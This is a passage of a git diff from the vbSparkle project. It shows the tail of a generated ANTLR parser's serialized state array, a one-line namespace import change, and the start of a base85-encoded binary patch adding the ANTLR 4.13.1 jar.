2796,2793,1,0,0,0,2796,2794,1,0,0,0,2796,2795,1,0,0,0,2797,2799,1,0,0, + 0,2798,2800,3,320,160,0,2799,2798,1,0,0,0,2799,2800,1,0,0,0,2800,2802, + 1,0,0,0,2801,2803,5,223,0,0,2802,2801,1,0,0,0,2802,2803,1,0,0,0,2803,2815, + 1,0,0,0,2804,2806,5,195,0,0,2805,2807,5,223,0,0,2806,2805,1,0,0,0,2806, + 2807,1,0,0,0,2807,2812,1,0,0,0,2808,2810,3,278,139,0,2809,2811,5,223,0, + 0,2810,2809,1,0,0,0,2810,2811,1,0,0,0,2811,2813,1,0,0,0,2812,2808,1,0, + 0,0,2812,2813,1,0,0,0,2813,2814,1,0,0,0,2814,2816,5,206,0,0,2815,2804, + 1,0,0,0,2816,2817,1,0,0,0,2817,2815,1,0,0,0,2817,2818,1,0,0,0,2818,2820, + 1,0,0,0,2819,2821,3,282,141,0,2820,2819,1,0,0,0,2820,2821,1,0,0,0,2821, + 269,1,0,0,0,2822,2824,3,294,147,0,2823,2825,3,320,160,0,2824,2823,1,0, + 0,0,2824,2825,1,0,0,0,2825,2827,1,0,0,0,2826,2828,5,223,0,0,2827,2826, + 1,0,0,0,2827,2828,1,0,0,0,2828,2829,1,0,0,0,2829,2831,5,195,0,0,2830,2832, + 5,223,0,0,2831,2830,1,0,0,0,2831,2832,1,0,0,0,2832,2837,1,0,0,0,2833,2835, + 3,278,139,0,2834,2836,5,223,0,0,2835,2834,1,0,0,0,2835,2836,1,0,0,0,2836, + 2838,1,0,0,0,2837,2833,1,0,0,0,2837,2838,1,0,0,0,2838,2839,1,0,0,0,2839, + 2840,5,206,0,0,2840,271,1,0,0,0,2841,2844,3,266,133,0,2842,2844,3,268, + 134,0,2843,2841,1,0,0,0,2843,2842,1,0,0,0,2843,2844,1,0,0,0,2844,2846, + 1,0,0,0,2845,2847,3,274,137,0,2846,2845,1,0,0,0,2847,2848,1,0,0,0,2848, + 2846,1,0,0,0,2848,2849,1,0,0,0,2849,2851,1,0,0,0,2850,2852,3,282,141,0, + 2851,2850,1,0,0,0,2851,2852,1,0,0,0,2852,273,1,0,0,0,2853,2855,5,223,0, + 0,2854,2853,1,0,0,0,2854,2855,1,0,0,0,2855,2856,1,0,0,0,2856,2858,5,187, + 0,0,2857,2859,5,223,0,0,2858,2857,1,0,0,0,2858,2859,1,0,0,0,2859,2862, + 1,0,0,0,2860,2863,3,266,133,0,2861,2863,3,268,134,0,2862,2860,1,0,0,0, + 2862,2861,1,0,0,0,2863,275,1,0,0,0,2864,2865,3,282,141,0,2865,277,1,0, + 0,0,2866,2868,3,280,140,0,2867,2866,1,0,0,0,2867,2868,1,0,0,0,2868,2870, + 1,0,0,0,2869,2871,5,223,0,0,2870,2869,1,0,0,0,2870,2871,1,0,0,0,2871,2872, + 1,0,0,0,2872,2874,7,12,0,0,2873,2875,5,223,0,0,2874,2873,1,0,0,0,2874, + 2875,1,0,0,0,2875,2877,1,0,0,0,2876,2867,1,0,0,0,2877,2880,1,0,0,0,2878, + 2876,1,0,0,0,2878,2879,1,0,0,0,2879,2881,1,0,0,0,2880,2878,1,0,0,0,2881, + 2894,3,280,140,0,2882,2884,5,223,0,0,2883,2882,1,0,0,0,2883,2884,1,0,0, + 0,2884,2885,1,0,0,0,2885,2887,7,12,0,0,2886,2888,5,223,0,0,2887,2886,1, + 0,0,0,2887,2888,1,0,0,0,2888,2890,1,0,0,0,2889,2891,3,280,140,0,2890,2889, + 1,0,0,0,2890,2891,1,0,0,0,2891,2893,1,0,0,0,2892,2883,1,0,0,0,2893,2896, + 1,0,0,0,2894,2892,1,0,0,0,2894,2895,1,0,0,0,2895,279,1,0,0,0,2896,2894, + 1,0,0,0,2897,2898,7,16,0,0,2898,2900,5,223,0,0,2899,2897,1,0,0,0,2899, + 2900,1,0,0,0,2900,2901,1,0,0,0,2901,2902,3,234,117,0,2902,281,1,0,0,0, + 2903,2904,5,189,0,0,2904,2906,3,294,147,0,2905,2907,3,320,160,0,2906,2905, + 1,0,0,0,2906,2907,1,0,0,0,2907,283,1,0,0,0,2908,2926,5,195,0,0,2909,2911, + 5,223,0,0,2910,2909,1,0,0,0,2910,2911,1,0,0,0,2911,2912,1,0,0,0,2912,2923, + 3,286,143,0,2913,2915,5,223,0,0,2914,2913,1,0,0,0,2914,2915,1,0,0,0,2915, + 2916,1,0,0,0,2916,2918,5,184,0,0,2917,2919,5,223,0,0,2918,2917,1,0,0,0, + 2918,2919,1,0,0,0,2919,2920,1,0,0,0,2920,2922,3,286,143,0,2921,2914,1, + 0,0,0,2922,2925,1,0,0,0,2923,2921,1,0,0,0,2923,2924,1,0,0,0,2924,2927, + 1,0,0,0,2925,2923,1,0,0,0,2926,2910,1,0,0,0,2926,2927,1,0,0,0,2927,2929, + 1,0,0,0,2928,2930,5,223,0,0,2929,2928,1,0,0,0,2929,2930,1,0,0,0,2930,2931, + 1,0,0,0,2931,2932,5,206,0,0,2932,285,1,0,0,0,2933,2934,5,117,0,0,2934, + 2936,5,223,0,0,2935,2933,1,0,0,0,2935,2936,1,0,0,0,2936,2939,1,0,0,0,2937, + 2938,7,17,0,0,2938,2940,5,223,0,0,2939,2937,1,0,0,0,2939,2940,1,0,0,0, + 2940,2943,1,0,0,0,2941,2942,5,124,0,0,2942,2944,5,223,0,0,2943,2941,1, + 0,0,0,2943,2944,1,0,0,0,2944,2945,1,0,0,0,2945,2947,3,294,147,0,2946,2948, + 3,320,160,0,2947,2946,1,0,0,0,2947,2948,1,0,0,0,2948,2957,1,0,0,0,2949, + 2951,5,223,0,0,2950,2949,1,0,0,0,2950,2951,1,0,0,0,2951,2952,1,0,0,0,2952, + 2954,5,195,0,0,2953,2955,5,223,0,0,2954,2953,1,0,0,0,2954,2955,1,0,0,0, + 2955,2956,1,0,0,0,2956,2958,5,206,0,0,2957,2950,1,0,0,0,2957,2958,1,0, + 0,0,2958,2961,1,0,0,0,2959,2960,5,223,0,0,2960,2962,3,296,148,0,2961,2959, + 1,0,0,0,2961,2962,1,0,0,0,2962,2967,1,0,0,0,2963,2965,5,223,0,0,2964,2963, + 1,0,0,0,2964,2965,1,0,0,0,2965,2966,1,0,0,0,2966,2968,3,288,144,0,2967, + 2964,1,0,0,0,2967,2968,1,0,0,0,2968,287,1,0,0,0,2969,2971,5,188,0,0,2970, + 2972,5,223,0,0,2971,2970,1,0,0,0,2971,2972,1,0,0,0,2972,2973,1,0,0,0,2973, + 2974,3,234,117,0,2974,289,1,0,0,0,2975,2986,3,292,146,0,2976,2978,5,223, + 0,0,2977,2976,1,0,0,0,2977,2978,1,0,0,0,2978,2979,1,0,0,0,2979,2981,5, + 184,0,0,2980,2982,5,223,0,0,2981,2980,1,0,0,0,2981,2982,1,0,0,0,2982,2983, + 1,0,0,0,2983,2985,3,292,146,0,2984,2977,1,0,0,0,2985,2988,1,0,0,0,2986, + 2984,1,0,0,0,2986,2987,1,0,0,0,2987,291,1,0,0,0,2988,2986,1,0,0,0,2989, + 2990,3,234,117,0,2990,2991,5,223,0,0,2991,2992,5,165,0,0,2992,2993,5,223, + 0,0,2993,2995,1,0,0,0,2994,2989,1,0,0,0,2994,2995,1,0,0,0,2995,2996,1, + 0,0,0,2996,2997,3,234,117,0,2997,293,1,0,0,0,2998,3001,5,218,0,0,2999, + 3001,3,324,162,0,3000,2998,1,0,0,0,3000,2999,1,0,0,0,3001,3002,1,0,0,0, + 3002,3000,1,0,0,0,3002,3003,1,0,0,0,3003,3013,1,0,0,0,3004,3007,5,208, + 0,0,3005,3008,5,218,0,0,3006,3008,3,324,162,0,3007,3005,1,0,0,0,3007,3006, + 1,0,0,0,3008,3009,1,0,0,0,3009,3007,1,0,0,0,3009,3010,1,0,0,0,3010,3011, + 1,0,0,0,3011,3013,5,209,0,0,3012,3000,1,0,0,0,3012,3004,1,0,0,0,3013,295, + 1,0,0,0,3014,3015,5,8,0,0,3015,3018,5,223,0,0,3016,3017,5,108,0,0,3017, + 3019,5,223,0,0,3018,3016,1,0,0,0,3018,3019,1,0,0,0,3019,3020,1,0,0,0,3020, + 3023,3,318,159,0,3021,3022,5,223,0,0,3022,3024,3,306,153,0,3023,3021,1, + 0,0,0,3023,3024,1,0,0,0,3024,297,1,0,0,0,3025,3026,7,18,0,0,3026,299,1, + 0,0,0,3027,3032,5,218,0,0,3028,3031,3,324,162,0,3029,3031,5,218,0,0,3030, + 3028,1,0,0,0,3030,3029,1,0,0,0,3031,3034,1,0,0,0,3032,3030,1,0,0,0,3032, + 3033,1,0,0,0,3033,3043,1,0,0,0,3034,3032,1,0,0,0,3035,3038,3,324,162,0, + 3036,3039,3,324,162,0,3037,3039,5,218,0,0,3038,3036,1,0,0,0,3038,3037, + 1,0,0,0,3039,3040,1,0,0,0,3040,3038,1,0,0,0,3040,3041,1,0,0,0,3041,3043, + 1,0,0,0,3042,3027,1,0,0,0,3042,3035,1,0,0,0,3043,301,1,0,0,0,3044,3045, + 7,19,0,0,3045,303,1,0,0,0,3046,3051,3,294,147,0,3047,3048,5,187,0,0,3048, + 3050,3,294,147,0,3049,3047,1,0,0,0,3050,3053,1,0,0,0,3051,3049,1,0,0,0, + 3051,3052,1,0,0,0,3052,305,1,0,0,0,3053,3051,1,0,0,0,3054,3056,5,199,0, + 0,3055,3057,5,223,0,0,3056,3055,1,0,0,0,3056,3057,1,0,0,0,3057,3060,1, + 0,0,0,3058,3061,5,213,0,0,3059,3061,3,294,147,0,3060,3058,1,0,0,0,3060, + 3059,1,0,0,0,3061,307,1,0,0,0,3062,3071,3,300,150,0,3063,3065,5,223,0, + 0,3064,3063,1,0,0,0,3064,3065,1,0,0,0,3065,3066,1,0,0,0,3066,3068,5,197, + 0,0,3067,3069,5,223,0,0,3068,3067,1,0,0,0,3068,3069,1,0,0,0,3069,3070, + 1,0,0,0,3070,3072,3,300,150,0,3071,3064,1,0,0,0,3071,3072,1,0,0,0,3072, + 309,1,0,0,0,3073,3078,5,212,0,0,3074,3078,5,216,0,0,3075,3078,5,211,0, + 0,3076,3078,5,210,0,0,3077,3073,1,0,0,0,3077,3074,1,0,0,0,3077,3075,1, + 0,0,0,3077,3076,1,0,0,0,3078,311,1,0,0,0,3079,3088,5,214,0,0,3080,3088, + 3,310,155,0,3081,3088,5,215,0,0,3082,3088,5,213,0,0,3083,3088,5,166,0, + 0,3084,3088,5,68,0,0,3085,3088,5,110,0,0,3086,3088,5,111,0,0,3087,3079, + 1,0,0,0,3087,3080,1,0,0,0,3087,3081,1,0,0,0,3087,3082,1,0,0,0,3087,3083, + 1,0,0,0,3087,3084,1,0,0,0,3087,3085,1,0,0,0,3087,3086,1,0,0,0,3088,313, + 1,0,0,0,3089,3090,7,20,0,0,3090,315,1,0,0,0,3091,3092,7,21,0,0,3092,317, + 1,0,0,0,3093,3096,3,298,149,0,3094,3096,3,304,152,0,3095,3093,1,0,0,0, + 3095,3094,1,0,0,0,3096,3105,1,0,0,0,3097,3099,5,223,0,0,3098,3097,1,0, + 0,0,3098,3099,1,0,0,0,3099,3100,1,0,0,0,3100,3102,5,195,0,0,3101,3103, + 5,223,0,0,3102,3101,1,0,0,0,3102,3103,1,0,0,0,3103,3104,1,0,0,0,3104,3106, + 5,206,0,0,3105,3098,1,0,0,0,3105,3106,1,0,0,0,3106,319,1,0,0,0,3107,3108, + 7,22,0,0,3108,321,1,0,0,0,3109,3110,7,23,0,0,3110,323,1,0,0,0,3111,3112, + 7,24,0,0,3112,325,1,0,0,0,542,330,335,342,344,347,352,356,361,365,370, + 374,379,383,388,392,397,401,406,410,414,419,422,427,439,445,450,456,460, + 464,473,477,483,487,497,501,506,511,513,516,521,536,539,547,552,557,563, + 568,572,579,587,591,595,604,607,615,619,624,629,631,637,645,649,651,657, + 660,665,674,678,682,686,691,696,700,704,709,711,714,716,785,855,861,865, + 868,884,888,893,896,901,907,911,916,921,925,928,932,938,942,949,955,959, + 962,967,977,980,983,987,993,997,1002,1009,1013,1017,1021,1024,1030,1036, + 1038,1045,1051,1057,1059,1067,1073,1079,1083,1090,1098,1103,1111,1119, + 1125,1127,1133,1137,1140,1145,1151,1155,1160,1170,1176,1186,1190,1198, + 1202,1205,1209,1215,1221,1223,1227,1230,1236,1240,1243,1247,1255,1260, + 1265,1271,1273,1279,1281,1286,1290,1294,1300,1303,1307,1310,1315,1318, + 1324,1330,1332,1337,1346,1350,1353,1356,1360,1376,1380,1386,1391,1395, + 1399,1403,1409,1414,1422,1426,1432,1438,1440,1452,1458,1460,1466,1472, + 1474,1484,1488,1493,1501,1505,1509,1513,1517,1521,1525,1529,1532,1535, + 1539,1543,1549,1553,1557,1565,1569,1581,1585,1592,1594,1600,1604,1612, + 1616,1628,1634,1636,1646,1652,1654,1660,1666,1668,1690,1700,1704,1709, + 1720,1724,1729,1743,1747,1756,1760,1763,1767,1771,1774,1778,1782,1785, + 1789,1792,1796,1798,1802,1806,1810,1814,1817,1823,1827,1830,1832,1837, + 1841,1847,1850,1853,1857,1862,1868,1870,1877,1881,1887,1890,1895,1901, + 1903,1910,1914,1920,1923,1928,1934,1936,1944,1948,1951,1954,1958,1966, + 1970,1974,1976,1979,1984,1990,1994,1998,2003,2008,2012,2016,2021,2029, + 2031,2043,2047,2055,2059,2067,2071,2075,2079,2083,2087,2095,2099,2111, + 2116,2120,2126,2130,2135,2142,2144,2149,2153,2158,2161,2165,2169,2180, + 2186,2190,2193,2199,2203,2211,2215,2224,2228,2232,2238,2241,2246,2252, + 2254,2260,2264,2271,2279,2284,2291,2295,2298,2301,2304,2308,2313,2322, + 2332,2336,2343,2345,2352,2356,2360,2365,2369,2382,2386,2392,2397,2405, + 2409,2413,2416,2420,2424,2429,2433,2438,2442,2447,2451,2456,2460,2465, + 2469,2474,2478,2483,2487,2492,2496,2501,2505,2510,2514,2519,2523,2528, + 2532,2537,2541,2546,2550,2563,2565,2571,2576,2582,2586,2591,2596,2599, + 2603,2607,2609,2613,2615,2619,2627,2632,2638,2647,2651,2659,2665,2671, + 2673,2681,2685,2688,2692,2698,2701,2705,2709,2713,2718,2722,2726,2729, + 2733,2737,2741,2745,2748,2751,2755,2758,2761,2767,2772,2775,2778,2784, + 2788,2791,2796,2799,2802,2806,2810,2812,2817,2820,2824,2827,2831,2835, + 2837,2843,2848,2851,2854,2858,2862,2867,2870,2874,2878,2883,2887,2890, + 2894,2899,2906,2910,2914,2918,2923,2926,2929,2935,2939,2943,2947,2950, + 2954,2957,2961,2964,2967,2971,2977,2981,2986,2994,3000,3002,3007,3009, + 3012,3018,3023,3030,3032,3038,3040,3042,3051,3056,3060,3064,3068,3071, + 3077,3087,3095,3098,3102,3105 + }; + + public static readonly ATN _ATN = + new ATNDeserializer().Deserialize(_serializedATN); + + +} diff --git a/Sources/vbSparkle/VbPreProcessorsAnalyser.cs b/Sources/vbSparkle/VbPreProcessorsAnalyser.cs index 9c3e290..03249f3 100644 --- a/Sources/vbSparkle/VbPreProcessorsAnalyser.cs +++ b/Sources/vbSparkle/VbPreProcessorsAnalyser.cs @@ -4,7 +4,7 @@ using System.Linq; using System.Text; using vbSparkle.Options; -using static vbSparkle.VBPreprocessorsParser; +using static VBPreprocessorsParser; namespace vbSparkle { diff --git a/Sources/vbSparkle/antlr-4.13.1-complete.jar b/Sources/vbSparkle/antlr-4.13.1-complete.jar new file mode 100644 index 0000000000000000000000000000000000000000..f539ab040312b1c008b1d17236505ecf5f808d95 GIT binary patch literal 2139203 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 